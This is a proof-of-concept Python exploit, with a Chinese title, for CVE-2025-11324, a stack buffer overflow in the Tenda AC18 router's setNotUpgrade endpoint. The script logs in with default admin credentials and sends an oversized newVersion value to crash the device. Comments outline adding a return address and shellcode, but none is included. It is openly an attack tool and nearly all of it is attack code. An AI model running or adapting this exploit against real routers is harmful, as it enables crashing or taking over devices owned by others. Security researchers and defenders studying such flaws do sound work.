CVE-2025-11324：Tenda AC18路由器setNotUpgrade接口栈缓冲区溢出漏洞

# CVE-2025-11324 - Tenda AC18 setNotUpgrade Stack Buffer Overflow PoC # Vulnerability: Stack-based buffer overflow in newVersion parameter # Affected: Tenda AC18 firmware 15.03.05.19(6318) # Endpoint: /goform/setNotUpgrade import requests import sys TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1" TARGET_PORT = 80 USERNAME = "admin" PASSWORD = "admin" # Default or brute-forced credentials # Step 1: Authenticate to obtain session cookie session = requests.Session() login_url = f"http://{TARGET_HOST}:{TARGET_PORT}/login/Auth" login_data = { "username": USERNAME, "password": PASSWORD } try: resp = session.post(login_url, data=login_data, timeout=10) print(f"[*] Login response status: {resp.status_code}") except Exception as e: print(f"[-] Login failed: {e}") sys.exit(1) # Step 2: Craft malicious payload to trigger stack buffer overflow # The newVersion parameter is vulnerable to stack-based buffer overflow # Payload structure: [padding][return_address][shellcode] payload_url = f"http://{TARGET_HOST}:{TARGET_PORT}/goform/setNotUpgrade" # Generate overflow payload - adjust size based on buffer offset buffer_size = 256 # Estimated buffer size; may need adjustment overflow_data = "A" * buffer_size # Fill buffer # In a real exploit, append return address overwrite + shellcode/ROP chain here # e.g., overflow_data += struct.pack("<I", target_ret_addr) + shellcode payload_data = { "newVersion": overflow_data } # Step 3: Send the malicious request print(f"[*] Sending exploit payload to {payload_url}") try: resp = session.post(payload_url, data=payload_data, timeout=10) print(f"[*] Response status: {resp.status_code}") print(f"[*] Response body: {resp.text[:200]}") except Exception as e: print(f"[*] Target may have crashed (expected): {e}") print("[*] Exploit completed. Check if device is compromised.")